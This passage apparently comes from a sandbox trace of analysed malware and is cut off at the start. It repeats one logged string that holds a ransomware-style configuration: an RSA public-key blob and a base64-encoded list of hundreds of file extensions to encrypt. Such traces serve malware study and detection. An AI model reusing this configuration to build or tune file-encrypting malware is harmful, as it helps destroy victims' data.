sIC5qbnQsIC5qcGUsIC5qcGVnLCAuanBnLCAuanMsIC5qc29uLCAuazJwLCAua2MyLCAua2RieCwgLmtkYywgLmtleSwgLmtwZHgsIC5rd20sIC5sYWNjZGIsIC5sYmYsIC5sY2ssIC5sZGYsIC5saXQsIC5saXRlbW9kLCAubGl0ZXNxbCwgLmxvY2ssIC5sb2csIC5sdHgsIC5sdWEsIC5tLCAubTJ0cywgLm0zdSwgLm00YSwgLm00cCwgLm00diwgLm1hLCAubWFiLCAubWFwaW1haWwsIC5tYXgsIC5tYngsIC5tZCwgLm1kYiwgLm1kYywgLm1kZiwgLm1lZiwgLm1mdywgLm1pZCwgLm1rdiwgLm1sYiwgLm1tdywgLm1ueSwgLm1vbmV5LCAubW9uZXl3ZWxsLCAubW9zLCAubW92LCAubXAzLCAubXA0LCAubXBlZywgLm1wZywgLm1ydywgLm1zZiwgLm1zZywgLm15ZCwgLm5kLCAubmRkLCAubmRmLCAubmVmLCAubmsyLCAubm9wLCAubnJ3LCAubnMyLCAubnMzLCAubnM0LCAubnNkLCAubnNmLCAubnNnLCAubnNoLCAubnZyYW0sIC5ud2IsIC5ueDIsIC5ueGwsIC5ueWYsIC5vYWIsIC5vYmosIC5vZGIsIC5vZGMsIC5vZGYsIC5vZGcsIC5vZG0sIC5vZHAsIC5vZHMsIC5vZHQsIC5vZ2csIC5vaWwsIC5vbWcsIC5vbmUsIC5vcmYsIC5vc3QsIC5vdGcsIC5vdGgsIC5vdHAsIC5vdHMsIC5vdHQsIC5wMTIsIC5wN2IsIC5wN2MsIC5wYWIsIC5wYWdlcywgLnBhcywgLnBhdCwgLnBiZiwgLnBjZCwgLnBjdCwgLnBkYiwgLnBkZCwgLnBkZiwgLnBlZiwgLnBlbSwgLnBmeCwgLnBocCwgLnBpZiwgLnBsLCAucGxjLCAucGx1c19tdWhkLCAucG0hLCAucG0sIC5wbWksIC5wbWosIC5wbWwsIC5wbW0sIC5wbW8sIC5wbXIsIC5wbmMsIC5wbmQsIC5wbmcsIC5wbngsIC5wb3QsIC5wb3RtLCAucG90eCwgLnBwYW0sIC5wcHMsIC5wcHNtLCAucHBzeCwucHB0LCAucHB0bSwgLnBwdHgsIC5wcmYsIC5wcml2YXRlLCAucHMsIC5wc2FmZTMsIC5wc2QsIC5wc3BpbWFnZSwgLnBzdCwgLnB0eCwgLnB1YiwgLnB3bSwgLnB5LCAucWJhLCAucWJiLCAucWJtLCAucWJyLCAucWJ3LCAucWJ4LCAucWJ5LCAucWNvdywgLnFjb3cyLCAucWVkLCAucXRiLCAucjNkLCAucmFmLCAucmFyLCAucmF0LCAucmF3LCAucmRiLCAucmU0LCAucm0sIC5ydGYsIC5ydnQsIC5ydzIsIC5yd2wsIC5yd3osIC5zM2RiLCAuc2FmZSwgLnNhczdiZGF0LCAuc2F2LCAuc2F2ZSwgLnNheSwgLnNkMCwgLnNkYSwgLnNkYiwgLnNkZiwgLnNoLCAuc2xkbSwgLnNsZHgsIC5zbG0sIC5zcWwsIC5zcWxpdGUsIC5zcWxpdGUzLCAuc3FsaXRlZGIsIC5zcWxpdGUtc2htLCAuc3FsaXRlLXdhbCwgLnNyMiwgLnNyYiwgLnNyZiwgLnNycywgLnNydCwgLnNydywgLnN0NCwgLnN0NSwgLnN0NiwgLnN0NywgLnN0OCwgLnN0YywgLnN0ZCwgLnN0aSwgLnN0bCwgLnN0bSwgLnN0dywgLnN0eCwgLnN2ZywgLnN3ZiwgLnN4YywgLnN4ZCwgLnN4ZywgLnN4aSwgLnN4bSwgLnN4dywgLnRheCwgLnRiYiwgLnRiaywgLnRibiwgLnRleCwgLnRnYSwgLnRobSwgLnRpZiwgLnRpZmYsIC50bGcsIC50bHgsIC50eHQsIC51cGssIC51c3IsIC52Ym94LCAudmRpLCAudmhkLCAudmhkeCwgLnZtZGssIC52bXNkLCAudm14LCAudm14ZiwgLnZvYiwgLnZwZCwgLnZzZCwgLndhYiwgLndhZCwgLndhbGxldCwgLndhciwgLndhdiwgLndiMiwgLndtYSwgLndtZiwgLndtdiwgLndwZCwgLndwcywgLngxMSwgLngzZiwgLnhpcywgLnhsYSwgLnhsYW0sIC54bGssIC54bG0sIC54bHIsIC54bHMsIC54bHNiLCAueGxzbSwgLnhsc3gsIC54bHQsIC54bHRtLCAueGx0eCwgLnhsdywgLnhtbCwgLnhwcywgLnh4eCwgLnljYmNyYSwgLnl1diwgLnppcA==}\x01") returned 4282 [0135.132] lstrlenA (lpString="{REPEAT}{pub_key=BgIAAACkAABSU0ExAAgAAAEAAQDfpQh9iqKT1DV8nsycz6OMi+DckkbNITtchh/38JpNJ7zy6i2M42rixh7Of7CxhCtPjqFw3zfg0RHf+c43YvHUEkOrCmMZl7iU1EMNIjqFId8yFRpeOAcpXVchAmBQgKrqJexCfiY2SLqHRbn48KhgfZ32Q2kotEEdAJ1wxvaFqYMj8R8TFjr0Jlxs7LkjxaU55vJ+wRoVCGDAiLEt0pB8Be6z5+EFan++hvMFFI+wgAe3pFEc8+nA/bQZVsvnZI9cFSGUVawuvgLYpGl6h7C6fG90Ol4CeltW22iZY38BfcCyPv7mbSDuJuHuoKEWOTyXXB6NfeSWz5JZ8SzSFVSu}{mask=LjFjZCwgLjNkbSwgLjNkcywgLjNmciwgLjNnMiwgLjNncCwgLjNwciwgLjd6LCAuN3ppcCwgLmFhYywgLmFiNCwgLmFiZCwgLmFjYywgLmFjY2RiLCAuYWNjZGUsIC5hY2NkciwgLmFjY2R0LCAuYWNoLCAuYWNyLCAuYWN0LCAuYWRiLCAuYWRwLCAuYWRzLCAuYWdkbCwgLmFpLCAuYWlmZiwgLmFpdCwgLmFsLCAuYW9pLCAuYXBqLCAuYXBrLCAuYXJ3LCAuYXNjeCwgLmFzZiwgLmFzbSwgLmFzcCwgLmFzcHgsIC5hc3NldCwgLmFzeCwgLmF0YiwgLmF2aSwgLmF3ZywgLmJhY2ssIC5iYWNrdXAsIC5iYWNrdXBkYiwgLmJhaywgLmJhbmssIC5iYXksIC5iZGIsIC5iZ3QsIC5iaWssIC5iaW4sIC5ia3AsIC5ibGVuZCwgLmJtcCwgLmJwdywgLmJzYSwgLmMsIC5jYXNoLCAuY2RiLCAuY2RmLCAuY2RyLCAuY2RyMywgLmNkcjQsIC5jZHI1LCAuY2RyNiwgLmNkcncsIC5jZHgsIC5jZTEsIC5jZTIsIC5jZXIsIC5jZmcsIC5jZm4sIC5jZ20sIC5jaWIsIC5jbGFzcywgLmNscywgLmNtdCwgLmNvbmZpZywgLmNvbnRhY3QsIC5jcGksIC5jcHAsIC5jcjIsIC5jcmF3LCAuY3J0LCAuY3J3LCAuY3J5LCAuY3MsIC5jc2gsIC5jc2wsIC5jc3MsIC5jc3YsIC5kM2Ric3AsIC5kYWMsIC5kYXMsIC5kYXQsIC5kYiwgLmRiX2pvdXJuYWwsIC5kYjMsIC5kYmYsIC5kYngsIC5kYzIsIC5kY3IsIC5kY3MsIC5kZGQsIC5kZG9jLCAuZGRydywgLmRkcywgLmRlZiwgLmRlciwgLmRlcywgLmRlc2lnbiwgLmRnYywgLmRnbiwgLmRpdCwgLmRqdnUsIC5kbmcsIC5kb2MsIC5kb2NtLCAuZG9jeCwgLmRvdCwgLmRvdG0sIC5kb3R4LCAuZHJmLCAuZHJ3LCAuZHRkLCAuZHdnLCAuZHhiLCAuZHhmLCAuZHhnLCAuZWRiLCAuZW1sLCAuZXBzLCAuZXJic3FsLCAuZXJmLCAuZXhmLCAuZmRiLCAuZmZkLCAuZmZmLCAuZmgsIC5maGQsIC5mbGEsIC5mbGFjLCAuZmxiLCAuZmxmLCAuZmx2LCAuZmx2diwgLmZvcmdlLCAuZnB4LCAuZnhnLCAuZ2JyLCAuZ2hvLCAuZ2lmLCAuZ3JheSwgLmdyZXksIC5ncm91cHMsIC5ncnksIC5oLCAuaGJrLCAuaGRkLCAuaHBwLCAuaHRtbCwgLmliYW5rLCAuaWJkLCAuaWJ6LCAuaWR4LCAuaWlmLCAuaWlxLCAuaW5jcGFzLCAuaW5kZCwgLmluZm8sIC5pbmZvXywgLmluaSwgLml3aSwgLmphciwgLmphdmEsIC5qbnQsIC5qcGUsIC5qcGVnLCAuanBnLCAuanMsIC5qc29uLCAuazJwLCAua2MyLCAua2RieCwgLmtkYywgLmtleSwgLmtwZHgsIC5rd20sIC5sYWNjZGIsIC5sYmYsIC5sY2ssIC5sZGYsIC5saXQsIC5saXRlbW9kLCAubGl0ZXNxbCwgLmxvY2ssIC5sb2csIC5sdHgsIC5sdWEsIC5tLCAubTJ0cywgLm0zdSwgLm00YSwgLm00cCwgLm00diwgLm1hLCAubWFiLCAubWFwaW1haWwsIC5tYXgsIC5tYngsIC5tZCwgLm1kYiwgLm1kYywgLm1kZiwgLm1lZiwgLm1mdywgLm1pZCwgLm1rdiwgLm1sYiwgLm1tdywgLm1ueSwgLm1vbmV5LCAubW9uZXl3ZWxsLCAubW9zLCAubW92LCAubXAzLCAubXA0LCAubXBlZywgLm1wZywgLm1ydywgLm1zZiwgLm1zZywgLm15ZCwgLm5kLCAubmRkLCAubmRmLCAubmVmLCAubmsyLCAubm9wLCAubnJ3LCAubnMyLCAubnMzLCAubnM0LCAubnNkLCAubnNmLCAubnNnLCAubnNoLCAubnZyYW0sIC5ud2IsIC5ueDIsIC5ueGwsIC5ueWYsIC5vYWIsIC5vYmosIC5vZGIsIC5vZGMsIC5vZGYsIC5vZGcsIC5vZG0sIC5vZHAsIC5vZHMsIC5vZHQsIC5vZ2csIC5vaWwsIC5vbWcsIC5vbmUsIC5vcmYsIC5vc3QsIC5vdGcsIC5vdGgsIC5vdHAsIC5vdHMsIC5vdHQsIC5wMTIsIC5wN2IsIC5wN2MsIC5wYWIsIC5wYWdlcywgLnBhcywgLnBhdCwgLnBiZiwgLnBjZCwgLnBjdCwgLnBkYiwgLnBkZCwgLnBkZiwgLnBlZiwgLnBlbSwgLnBmeCwgLnBocCwgLnBpZiwgLnBsLCAucGxjLCAucGx1c19tdWhkLCAucG0hLCAucG0sIC5wbWksIC5wbWosIC5wbWwsIC5wbW0sIC5wbW8sIC5wbXIsIC5wbmMsIC5wbmQsIC5wbmcsIC5wbngsIC5wb3QsIC5wb3RtLCAucG90eCwgLnBwYW0sIC5wcHMsIC5wcHNtLCAucHBzeCwucHB0LCAucHB0bSwgLnBwdHgsIC5wcmYsIC5wcml2YXRlLCAucHMsIC5wc2FmZTMsIC5wc2QsIC5wc3BpbWFnZSwgLnBzdCwgLnB0eCwgLnB1YiwgLnB3bSwgLnB5LCAucWJhLCAucWJiLCAucWJtLCAucWJyLCAucWJ3LCAucWJ4LCAucWJ5LCAucWNvdywgLnFjb3cyLCAucWVkLCAucXRiLCAucjNkLCAucmFmLCAucmFyLCAucmF0LCAucmF3LCAucmRiLCAucmU0LCAucm0sIC5ydGYsIC5ydnQsIC5ydzIsIC5yd2wsIC5yd3osIC5zM2RiLCAuc2FmZSwgLnNhczdiZGF0LCAuc2F2LCAuc2F2ZSwgLnNheSwgLnNkMCwgLnNkYSwgLnNkYiwgLnNkZiwgLnNoLCAuc2xkbSwgLnNsZHgsIC5zbG0sIC5zcWwsIC5zcWxpdGUsIC5zcWxpdGUzLCAuc3FsaXRlZGIsIC5zcWxpdGUtc2htLCAuc3FsaXRlLXdhbCwgLnNyMiwgLnNyYiwgLnNyZiwgLnNycywgLnNydCwgLnNydywgLnN0NCwgLnN0NSwgLnN0NiwgLnN0NywgLnN0OCwgLnN0YywgLnN0ZCwgLnN0aSwgLnN0bCwgLnN0bSwgLnN0dywgLnN0eCwgLnN2ZywgLnN3ZiwgLnN4YywgLnN4ZCwgLnN4ZywgLnN4aSwgLnN4bSwgLnN4dywgLnRheCwgLnRiYiwgLnRiaywgLnRibiwgLnRleCwgLnRnYSwgLnRobSwgLnRpZiwgLnRpZmYsIC50bGcsIC50bHgsIC50eHQsIC51cGssIC51c3IsIC52Ym94LCAudmRpLCAudmhkLCAudmhkeCwgLnZtZGssIC52bXNkLCAudm14LCAudm14ZiwgLnZvYiwgLnZwZCwgLnZzZCwgLndhYiwgLndhZCwgLndhbGxldCwgLndhciwgLndhdiwgLndiMiwgLndtYSwgLndtZiwgLndtdiwgLndwZCwgLndwcywgLngxMSwgLngzZiwgLnhpcywgLnhsYSwgLnhsYW0sIC54bGssIC54bG0sIC54bHIsIC54bHMsIC54bHNiLCAueGxzbSwgLnhsc3gsIC54bHQsIC54bHRtLCAueGx0eCwgLnhsdywgLnhtbCwgLnhwcywgLnh4eCwgLnljYmNyYSwgLnl1diwgLnppcA==}\x01") returned 4282 [0135.132] lstrlenA (lpString="{REPEAT}{pub_key=BgIAAACkAABSU0ExAAgAAAEAAQDfpQh9iqKT1DV8nsycz6OMi+DckkbNITtchh/38JpNJ7zy6i2M42rixh7Of7CxhCtPjqFw3zfg0RHf+c43YvHUEkOrCmMZl7iU1EMNIjqFId8yFRpeOAcpXVchAmBQgKrqJexCfiY2SLqHRbn48KhgfZ32Q2kotEEdAJ1wxvaFqYMj8R8TFjr0Jlxs7LkjxaU55vJ+wRoVCGDAiLEt0pB8Be6z5+EFan++hvMFFI+wgAe3pFEc8+nA/bQZVsvnZI9cFSGUVawuvgLYpGl6h7C6fG90Ol4CeltW22iZY38BfcCyPv7mbSDuJuHuoKEWOTyXXB6NfeSWz5JZ8SzSFVSu}{mask=LjFjZCwgLjNkbSwgLjNkcywgLjNmciwgLjNnMiwgLjNncCwgLjNwciwgLjd6LCAuN3ppcCwgLmFhYywgLmFiNCwgLmFiZCwgLmFjYywgLmFjY2RiLCAuYWNjZGUsIC5hY2NkciwgLmFjY2R0LCAuYWNoLCAuYWNyLCAuYWN0LCAuYWRiLCAuYWRwLCAuYWRzLCAuYWdkbCwgLmFpLCAuYWlmZiwgLmFpdCwgLmFsLCAuYW9pLCAuYXBqLCAuYXBrLCAuYXJ3LCAuYXNjeCwgLmFzZiwgLmFzbSwgLmFzcCwgLmFzcHgsIC5hc3NldCwgLmFzeCwgLmF0YiwgLmF2aSwgLmF3ZywgLmJhY2ssIC5iYWNrdXAsIC5iYWNrdXBkYiwgLmJhaywgLmJhbmssIC5iYXksIC5iZGIsIC5iZ3QsIC5iaWssIC5iaW4sIC5ia3AsIC5ibGVuZCwgLmJtcCwgLmJwdywgLmJzYSwgLmMsIC5jYXNoLCAuY2RiLCAuY2RmLCAuY2RyLCAuY2RyMywgLmNkcjQsIC5jZHI1LCAuY2RyNiwgLmNkcncsIC5jZHgsIC5jZTEsIC5jZTIsIC5jZXIsIC5jZmcsIC5jZm4sIC5jZ20sIC5jaWIsIC5jbGFzcywgLmNscywgLmNtdCwgLmNvbmZpZywgLmNvbnRhY3QsIC5jcGksIC5jcHAsIC5jcjIsIC5jcmF3LCAuY3J0LCAuY3J3LCAuY3J5LCAuY3MsIC5jc2gsIC5jc2wsIC5jc3MsIC5jc3YsIC5kM2Ric3AsIC5kYWMsIC5kYXMsIC5kYXQsIC5kYiwgLmRiX2pvdXJuYWwsIC5kYjMsIC5kYmYsIC5kYngsIC5kYzIsIC5kY3IsIC5kY3MsIC5kZGQsIC5kZG9jLCAuZGRydywgLmRkcywgLmRlZiwgLmRlciwgLmRlcywgLmRlc2lnbiwgLmRnYywgLmRnbiwgLmRpdCwgLmRqdnUsIC5kbmcsIC5kb2MsIC5kb2NtLCAuZG9jeCwgLmRvdCwgLmRvdG0sIC5kb3R4LCAuZHJmLCAuZHJ3LCAuZHRkLCAuZHdnLCAuZHhiLCAuZHhmLCAuZHhnLCAuZWRiLCAuZW1sLCAuZXBzLCAuZXJic3FsLCAuZXJmLCAuZXhmLCAuZmRiLCAuZmZkLCAuZmZmLCAuZmgsIC5maGQsIC5mbGEsIC5mbGFjLCAuZmxiLCAuZmxmLCAuZmx2LCAuZmx2diwgLmZvcmdlLCAuZnB4LCAuZnhnLCAuZ2JyLCAuZ2hvLCAuZ2lmLCAuZ3JheSwgLmdyZXksIC5ncm91cHMsIC5ncnksIC5oLCAuaGJrLCAuaGRkLCAuaHBwLCAuaHRtbCwgLmliYW5rLCAuaWJkLCAuaWJ6LCAuaWR4LCAuaWlmLCAuaWlxLCAuaW5jcGFzLCAuaW5kZCwgLmluZm8sIC5pbmZvXywgLmluaSwgLml3aSwgLmphciwgLmphdmEsIC5qbnQsIC5qcGUsIC5qcGVnLCAuanBnLCAuanMsIC5qc29uLCAuazJwLCAua2MyLCAua2RieCwgLmtkYywgLmtleSwgLmtwZHgsIC5rd20sIC5sYWNjZGIsIC5sYmYsIC5sY2ssIC5sZGYsIC5saXQsIC5saXRlbW9kLCAubGl0ZXNxbCwgLmxvY2ssIC5sb2csIC5sdHgsIC5sdWEsIC5tLCAubTJ0cywgLm0zdSwgLm00YSwgLm00cCwgLm00diwgLm1hLCAubWFiLCAubWFwaW1haWwsIC5tYXgsIC5tYngsIC5tZCwgLm1kYiwgLm1kYywgLm1kZiwgLm1lZiwgLm1mdywgLm1pZCwgLm1rdiwgLm1sYiwgLm1tdywgLm1ueSwgLm1vbmV5LCAubW9uZXl3ZWxsLCAubW9zLCAubW92LCAubXAzLCAubXA0LCAubXBlZywgLm1wZywgLm1ydywgLm1zZiwgLm1zZywgLm15ZCwgLm5kLCAubmRkLCAubmRmLCAubmVmLCAubmsyLCAubm9wLCAubnJ3LCAubnMyLCAubnMzLCAubnM0LCAubnNkLCAubnNmLCAubnNnLCAubnNoLCAubnZyYW0sIC5ud2IsIC5ueDIsIC5ueGwsIC5ueWYsIC5vYWIsIC5vYmosIC5vZGIsIC5vZGMsIC5vZGYsIC5vZGcsIC5vZG0sIC5vZHAsIC5vZHMsIC5vZHQsIC5vZ2csIC5vaWwsIC5vbWcsIC5vbmUsIC5vcmYsIC5vc3QsIC5vdGcsIC5vdGgsIC5vdHAsIC5vdHMsIC5vdHQsIC5wMTIsIC5wN2IsIC5wN2MsIC5wYWIsIC5wYWdlcywgLnBhcywgLnBhdCwgLnBiZiwgLnBjZCwgLnBjdCwgLnBkYiwgLnBkZCwgLnBkZiwgLnBlZiwgLnBlbSwgLnBmeCwgLnBocCwgLnBpZiwgLnBsLCAucGxjLCAucGx1c19tdWhkLCAucG0hLCAucG0sIC5wbWksIC5wbWosIC5wbWwsIC5wbW0sIC5wbW8sIC5wbXIsIC5wbmMsIC5wbmQsIC5wbmcsIC5wbngsIC5wb3QsIC5wb3RtLCAucG90eCwgLnBwYW0sIC5wcHMsIC5wcHNtLCAucHBzeCwucHB0LCAucHB0bSwgLnBwdHgsIC5wcmYsIC5wcml2YXRlLCAucHMsIC5wc2FmZTMsIC5wc2QsIC5wc3BpbWFnZSwgLnBzdCwgLnB0eCwgLnB1YiwgLnB3bSwgLnB5LCAucWJhLCAucWJiLCAucWJtLCAucWJyLCAucWJ3LCAucWJ4LCAucWJ5LCAucWNvdywgLnFjb3cyLCAucWVkLCAucXRiLCAucjNkLCAucmFmLCAucmFyLCAucmF0LCAucmF3LCAucmRiLCAucmU0LCAucm0sIC5ydGYsIC5ydnQsIC5ydzIsIC5yd2wsIC5yd3osIC5zM2RiLCAuc2FmZSwgLnNhczdiZGF0LCAuc2F2LCAuc2F2ZSwgLnNheSwgLnNkMCwgLnNkYSwgLnNkYiwgLnNkZiwgLnNoLCAuc2xkbSwgLnNsZHgsIC5zbG0sIC5zcWwsIC5zcWxpdGUsIC5zcWxpdGUzLCAuc3FsaXRlZGIsIC5zcWxpdGUtc2htLCAuc3FsaXRlLXdhbCwgLnNyMiwgLnNyYiwgLnNyZiwgLnNycywgLnNydCwgLnNydywgLnN0NCwgLnN0NSwgLnN0NiwgLnN0NywgLnN0OCwgLnN0YywgLnN0ZCwgLnN0aSwgLnN0bCwgLnN0bSwgLnN0dywgLnN0eCwgLnN2ZywgLnN3ZiwgLnN4YywgLnN4ZCwgLnN4ZywgLnN4aSwgLnN4bSwgLnN4dywgLnRheCwgLnRiYiwgLnRiaywgLnRibiwgLnRleCwgLnRnYSwgLnRobSwgLnRpZiwgLnRpZmYsIC50bGcsIC50bHgsIC50eHQsIC51cGssIC51c3IsIC52Ym94LCAudmRpLCAudmhkLCAudmhkeCwgLnZtZGssIC52bXNkLCAudm14LCAudm14ZiwgLnZvYiwgLnZwZCwgLnZzZCwgLndhYiwgLndhZCwgLndhbGxldCwgLndhciwgLndhdiwgLndiMiwgLndtYSwgLndtZiwgLndtdiwgLndwZCwgLndwcywgLngxMSwgLngzZiwgLnhpcywgLnhsYSwgLnhsYW0sIC54bGssIC54bG0sIC54bHIsIC54bHMsIC54bHNiLCAueGxzbSwgLnhsc3gsIC54bHQsIC54bHRtLCAueGx0eCwgLnhsdywgLnhtbCwgLnhwcywgLnh4eCwgLnljYmNyYSwgLnl1diwgLnppcA==}\x01") returned 4282 [0135.132] lstrlenA (lpString="{REPEAT}{pub_key=BgIAAACkAABSU0ExAAgAAAEAAQDfpQh9iqKT1DV8nsycz6OMi+DckkbNITtchh/38JpNJ7zy6i2M42rixh7Of7CxhCtPjqFw3zfg0RHf+c43YvHUEkOrCmMZl7iU1EMNIjqFId8yFRpeOAcpXVchAmBQgKrqJexCfiY2SLqHRbn48KhgfZ32Q2kotEEdAJ1wxvaFqYMj8R8TFjr0Jlxs7LkjxaU55vJ+wRoVCGDAiLEt0pB8Be6z5+EFan++hvMFFI+wgAe3pFEc8+nA/bQZVsvnZI9cFSGUVawuvgLYpGl6h7C6fG90Ol4CeltW22iZY38BfcCyPv7mbSDuJuHuoKEWOTyXXB6NfeSWz5JZ8SzSFVSu}{mask=LjFjZCwgLjNkbSwgLjNkcywgLjNmciwgLjNnMiwgLjNncCwgLjNwciwgLjd6LCAuN3ppcCwgLmFhYywgLmFiNCwgLmFiZCwgLmFjYywgLmFjY2RiLCAuYWNjZGUsIC5hY2NkciwgLmFjY2R0LCAuYWNoLCAuYWNyLCAuYWN0LCAuYWRiLCAuYWRwLCAuYWRzLCAuYWdkbCwgLmFpLCAuYWlmZiwgLmFpdCwgLmFsLCAuYW9pLCAuYXBqLCAuYXBrLCAuYXJ3LCAuYXNjeCwgLmFzZiwgLmFzbSwgLmFzcCwgLmFzcHgsIC5hc3NldCwgLmFzeCwgLmF0YiwgLmF2aSwgLmF3ZywgLmJhY2ssIC5iYWNrdXAsIC5iYWNrdXBkYiwgLmJhaywgLmJhbmssIC5iYXksIC5iZGIsIC5iZ3QsIC5iaWssIC5iaW4sIC5ia3AsIC5ibGVuZCwgLmJtcCwgLmJwdywgLmJzYSwgLmMsIC5jYXNoLCAuY2RiLCAuY2RmLCAuY2RyLCAuY2RyMywgLmNkcjQsIC5jZHI1LCAuY2RyNiwgLmNkcncsIC5jZHgsIC5jZTEsIC5jZTIsIC5jZXIsIC5jZmcsIC5jZm4sIC5jZ20sIC5jaWIsIC5jbGFzcywgLmNscywgLmNtdCwgLmNvbmZpZywgLmNvbnRhY3QsIC5jcGksIC5jcHAsIC5jcjIsIC5jcmF3LCAuY3J0LCAuY3J3LCAuY3J5LCAuY3MsIC5jc2gsIC5jc2wsIC5jc3MsIC5jc3YsIC5kM2Ric3AsIC5kYWMsIC5kYXMsIC5kYXQsIC5kYiwgLmRiX2pvdXJuYWwsIC5kYjMsIC5kYmYsIC5kYngsIC5kYzIsIC5kY3IsIC5kY3MsIC5kZGQsIC5kZG9jLCAuZGRydywgLmRkcywgLmRlZiwgLmRlciwgLmRlcywgLmRlc2lnbiwgLmRnYywgLmRnbiwgLmRpdCwgLmRqdnUsIC5kbmcsIC5kb2MsIC5kb2NtLCAuZG9jeCwgLmRvdCwgLmRvdG0sIC5kb3R4LCAuZHJmLCAuZHJ3LCAuZHRkLCAuZHdnLCAuZHhiLCAuZHhmLCAuZHhnLCAuZWRiLCAuZW1sLCAuZXBzLCAuZXJic3FsLCAuZXJmLCAuZXhmLCAuZmRiLCAuZmZkLCAuZmZmLCAuZmgsIC5maGQsIC5mbGEsIC5mbGFjLCAuZmxiLCAuZmxmLCAuZmx2LCAuZmx2diwgLmZvcmdlLCAuZnB4LCAuZnhnLCAuZ2JyLCAuZ2hvLCAuZ2lmLCAuZ3JheSwgLmdyZXksIC5ncm91cHMsIC5ncnksIC5oLCAuaGJrLCAuaGRkLCAuaHBwLCAuaHRtbCwgLmliYW5rLCAuaWJkLCAuaWJ6LCAuaWR4LCAuaWlmLCAuaWlxLCAuaW5jcGFzLCAuaW5kZCwgLmluZm8sIC5pbmZvXywgLmluaSwgLml3aSwgLmphciwgLmphdmEsIC5qbnQsIC5qcGUsIC5qcGVnLCAuanBnLCAuanMsIC5qc29uLCAuazJwLCAua2MyLCAua2RieCwgLmtkYywgLmtleSwgLmtwZHgsIC5rd20sIC5sYWNjZGIsIC5sYmYsIC5sY2ssIC5sZGYsIC5saXQsIC5saXRlbW9kLCAubGl0ZXNxbCwgLmxvY2ssIC5sb2csIC5sdHgsIC5sdWEsIC5tLCAubTJ0cywgLm0zdSwgLm00YSwgLm00cCwgLm00diwgLm1hLCAubWFiLCAubWFwaW1haWwsIC5tYXgsIC5tYngsIC5tZCwgLm1kYiwgLm1kYywgLm1kZiwgLm1lZiwgLm1mdywgLm1pZCwgLm1rdiwgLm1sYiwgLm1tdywgLm1ueSwgLm1vbmV5LCAubW9uZXl3ZWxsLCAubW9zLCAubW92LCAubXAzLCAubXA0LCAubXBlZywgLm1wZywgLm1ydywgLm1zZiwgLm1zZywgLm15ZCwgLm5kLCAubmRkLCAubmRmLCAubmVmLCAubmsyLCAubm9wLCAubnJ3LCAubnMyLCAubnMzLCAubnM0LCAubnNkLCAubnNmLCAubnNnLCAubnNoLCAubnZyYW0sIC5ud2IsIC5ueDIsIC5ueGwsIC5ueWYsIC5vYWIsIC5vYmosIC5vZGIsIC5vZGMsIC5vZGYsIC5vZGcsIC5vZG0sIC5vZHAsIC5vZHMsIC5vZHQsIC5vZ2csIC5vaWwsIC5vbWcsIC5vbmUsIC5vcmYsIC5vc3QsIC5vdGcsIC5vdGgsIC5vdHAsIC5vdHMsIC5vdHQsIC5wMTIsIC5wN2IsIC5wN2MsIC5wYWIsIC5wYWdlcywgLnBhcywgLnBhdCwgLnBiZiwgLnBjZCwgLnBjdCwgLnBkYiwgLnBkZCwgLnBkZiwgLnBlZiwgLnBlbSwgLnBmeCwgLnBocCwgLnBpZiwgLnBsLCAucGxjLCAucGx1c19tdWhkLCAucG0hLCAucG0sIC5wbWksIC5wbWosIC5wbWwsIC5wbW0sIC5wbW8sIC5wbXIsIC5wbmMsIC5wbmQsIC5wbmcsIC5wbngsIC5wb3QsIC5wb3RtLCAucG90eCwgLnBwYW0sIC5wcHMsIC5wcHNtLCAucHBzeCwucHB0LCAucHB0bSwgLnBwdHgsIC5wcmYsIC5wcml2YXRlLCAucHMsIC5wc2FmZTMsIC5wc2QsIC5wc3BpbWFnZSwgLnBzdCwgLnB0eCwgLnB1YiwgLnB3bSwgLnB5LCAucWJhLCAucWJiLCAucWJtLCAucWJyLCAucWJ3LCAucWJ4LCAucWJ5LCAucWNvdywgLnFjb3cyLCAucWVkLCAucXRiLCAucjNkLCAucmFmLCAucmFyLCAucmF0LCAucmF3LCAucmRiLCAucmU0LCAucm0sIC5ydGYsIC5ydnQsIC5ydzIsIC5yd2wsIC5yd3osIC5zM2RiLCAuc2FmZSwgLnNhczdiZGF0LCAuc2F2LCAuc2F2ZSwgLnNheSwgLnNkMCwgLnNkYSwgLnNkYiwgLnNkZiwgLnNoLCAuc2xkbSwgLnNsZHgsIC5zbG0sIC5zcWwsIC5zcWxpdGUsIC5zcWxpdGUzLCAuc3FsaXRlZGIsIC5zcWxpdGUtc2htLCAuc3FsaXRlLXdhbCwgLnNyMiwgLnNyYiwgLnNyZiwgLnNycywgLnNydCwgLnNydywgLnN0NCwgLnN0NSwgLnN0NiwgLnN0NywgLnN0OCwgLnN0YywgLnN0ZCwgLnN0aSwgLnN0bCwgLnN0bSwgLnN0dywgLnN0eCwgLnN2ZywgLnN3ZiwgLnN4YywgLnN4ZCwgLnN4ZywgLnN4aSwgLnN4bSwgLnN4dywgLnRheCwgLnRiYiwgLnRiaywgLnRibiwgLnRleCwgLnRnYSwgLnRobSwgLnRpZiwgLnRpZmYsIC50bGcsIC50bHgsIC50eHQsIC51cGssIC51c3IsIC52Ym94LCAudmRpLCAudmhkLCAudmhkeCwgLnZtZGssIC52bXNkLCAudm14LCAudm14ZiwgLnZvYiwgLnZwZCwgLnZzZCwgLndhYiwgLndhZCwgLndhbGxldCwgLndhciwgLndhdiwgLndiMiwgLndtYSwgLndtZiwgLndtdiwgLndwZCwgLndwcywgLngxMSwgLngzZiwgLnhpcywgLnhsYSwgLnhsYW0sIC54bGssIC54bG0sIC54bHIsIC54bHMsIC54bHNiLCAueGxzbSwgLnhsc3gsIC54bHQsIC54bHRtLCAueGx0eCwgLnhsdywgLnhtbCwgLnhwcywgLnh4eCwgLnljYmNyYSwgLnl1diwgLnppcA==}\x01") returned 4282 [0135.132] lstrlenA 